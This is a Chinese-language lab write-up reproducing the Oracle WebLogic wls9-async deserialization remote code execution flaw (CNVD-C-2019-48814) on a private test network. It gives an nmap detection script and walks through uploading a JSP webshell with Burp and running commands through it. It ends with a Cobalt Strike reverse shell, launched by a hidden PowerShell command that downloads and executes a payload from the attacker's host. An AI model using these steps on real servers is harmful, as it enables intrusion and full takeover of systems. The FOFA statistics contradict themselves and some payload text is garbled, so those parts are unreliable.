WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java(J2EE)应用服
务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,当前已推
出到12c(12.1.1)版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间
件(但当前Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业
包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
WebLogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。是商业市场上主要的Java(J2EE)应用服务器软件(Application Server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。
根据FOFA的数据统计,全球共有23024个开放的weblogic服务。其中美国最多,有129583个开放服务。其次是中国,有28772个开放的weblogic服务。德国排第三,有22352个开放的weblogic服务。新加坡有18473个开放的weblogic服务。英国有15980个开放的weblogic服务。
国内的weblogic服务分布如下,北京最多,有6824个服务,浙江有4805个服务,山东有985个服务,广东有801个服务,上海有778个服务。
CNVD-C-2019-48814漏洞主要是利用了WebLogic中的wls9-async组件,攻击者可以在
/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列
化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。
Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.1.0
Oracle WebLogic Server12.2.1.2.0
复现过程选用Oracle WebLogic Server12.1.3.0.0,12.2.1.3.0及以上版本对该漏洞进行了修复
复现过程基于内网环境
靶机:windows server 2008 R2: 搭建weblogic服务器
攻击机:kali2.0:IP192.168.15.176
jdk版本选择1.8版本:直接下载:jdk-8u171-windows-x64.exe,双击运行即可,安装时注意注意路径问题,安装完成后,配置环境变量,非常简单;
测试:打开cmd
java -version
javac -version
出现版本及安装成功,否则很可能是环境变量出现了问题,重新检查
坑很多,该掉进入的一个都没少,一定要有耐心
1.下载安装包:fmw_12.1.3.0.0_wls.jar,并把安装包放在jdk的bin目录下:
2.进入fmw_12.1.3.0.0_wls.jar所在的目录,shift+鼠标右键,打开powershell:通过java运行安装:java -jar fmw_12.1.3.0.0_wls.jar
弹出安装过程直接下一步即可,除了路径外其他默认即可,当然路径也可以选择默认
3.运行完jar包后,会弹出weblogic的安装向导,这里只是为了复现漏洞,一路狂奔,全部默认即可;安装完成后找到安装路径:若是默认的则为C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
4. 服务器开始运行
5. 访问服务器:访问URL:http://192.168.15.89:7001/console,自动弹到登录页面,说明服务器搭建成功;
6. 查看服务器是否存在漏洞:直接访问:http://192.168.15.89:7001/_async/AsyncResponseService,若出现以下页面说明存在漏洞,否则很可能是版本更新,漏洞已修复,或者安装出现问题。
7. 也可以通过nmap扫描确定是否存在漏洞,若是kali系统需要添加脚本 :weblogic-CNVD-C-2019-48814.nse,将以下代码保存为weblogic-CNVD-C-2019-48814.nse,拷贝至卡里:/uer/share/nmap/script目录下
local http = require "http"
local nmap = require "nmap"
local stdnse = require "stdnse"
local vulns = require "vulns"
description = [[
Weblogic CNVD-C-2019-48814
]]
---
-- @usage
-- nmap -sV --script weblogic-CNVD-C-2019-48814 -p 7001
-- nmap -sV --script weblogic-CNVD-C-2019-48814
--
-- @output
-- PORT STATE SERVICE
-- 7001/tcp open afs3-callback
-- | weblogic-CNVD-C-2019-48814:
-- | VULNERABLE:
-- | Oracle WebLogic wls9-async Deserialization Remote Command Execution Vulnerability
-- | State: VULNERABLE
-- | IDs: 1:CNVD-C-2019-48814 CVE:CVE-2019-???
-- | Risk factor: High CVSSv3: ???
-- |
-- | Disclosure date: 2019-04-17
-- | References:
-- | http://www.cnvd.org.cn/webinfo/show/4989
-- | http://www.cnvd.org.cn/webinfo/show/4999
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-????
author = "Rvn0xsy "
l icense = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln"}
blog = "https://payloads.online"
portrule = function(host,port)
-- if(port.number == 7001)then
-- return true
-- end
-- return false
return true
end
action = function(host,port)
local vuln_table = {
title ="Oracle WebLogic wls9-async Deserialization Remote Command Execution Vulnerability",
IDS = {CVE = 'CVE-2019-????','CNVD-C-2019-48814'},
risk_factor = "High",
scores = {
CVSSv3 = "???",
},
description = [[]],
references = {
'http://www.cnvd.org.cn/webinfo/show/4989',
'http://www.cnvd.org.cn/webinfo/show/4999',
},
dates = {
disclosure = {year = '2019', month = '04', day = '17'},
},
check_results = {},
extra_info = {}
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
vuln_table.state = vulns.STATE.NOT_VULN
path = "/_async/AsyncResponseService"
local result = http.get(host,port,path)
local status = stdnse.output_table()
if(result.status = = 200)then //代码“= =”表示判断相等,注意修改
if(string.find(result.body,"async") == nil)then
local status = stdnse.output_table()
status.Vuln = "False"
return status
end
options = {}
options['header'] = {}
options['header']['Content-Type'] = 'text/xml'
local payload = "\n\nxx xx \n\n\n \n\n \n \n \n\n \n \n \n"
local response = http.post(host,port,path,options,nil,payload)
if(response.status == 202)then
vuln_table.state = vulns.STATE.VULN
return vuln_report:make_output(vuln_table)
end
end
return vuln_report:make_output(vuln_table)
end
8. nmap扫描漏洞:nmap:nmap --script=weblogic-CNVD-C-2019-48814.nse 192.168.15.89
2. 右键发送至repeater
在默认的raw中追加以下脚本,并修改请求方法为:POST(右键:change request method)
xx xx
");
}
%>]]>
3. 点击go开始请求,当出现右面的响应说明漏洞上传成功,我们的webshell.jsp已经上传完毕
4. 漏洞利用,通过webshell探索用户及系统信息等:
访问:http://192.168.15.89:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
获取用户,这里通过传输cmd命令,查询信息
在window是系统下的利用,他更多地利用在linux系统中,两种版本均支持,只是开启的命令略有不同:
**1.**开启cobaltstrike服务器:(需要用管理员权限运行cmd)
命令:teamserver 192.168.15.252 123456 //服务器ip 密码
**2.**开启客户端,连接服务端,直接打开cobaltstrike.bat
输入服务器IP地址和密码123456,用户名随便给,端口为服务器使用的端口
3. 开启监听,设置监听的名字、加载payload、绑定监听的ip地址和端口号
**4.**生成钓鱼网站脚本
5. 构造脚本反弹shell:
将4.中的链接加载到脚本中,加载到十六行的< string>中
xx
xx
cmd
/c
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.15.252:80/a'))"
6. burpsuit抓包,上传5.中的脚本
7. 上传脚本,点击go后,cobaltstrike里面得到反弹的shell
**8.**获取shell后便可进行后续的提权等操作。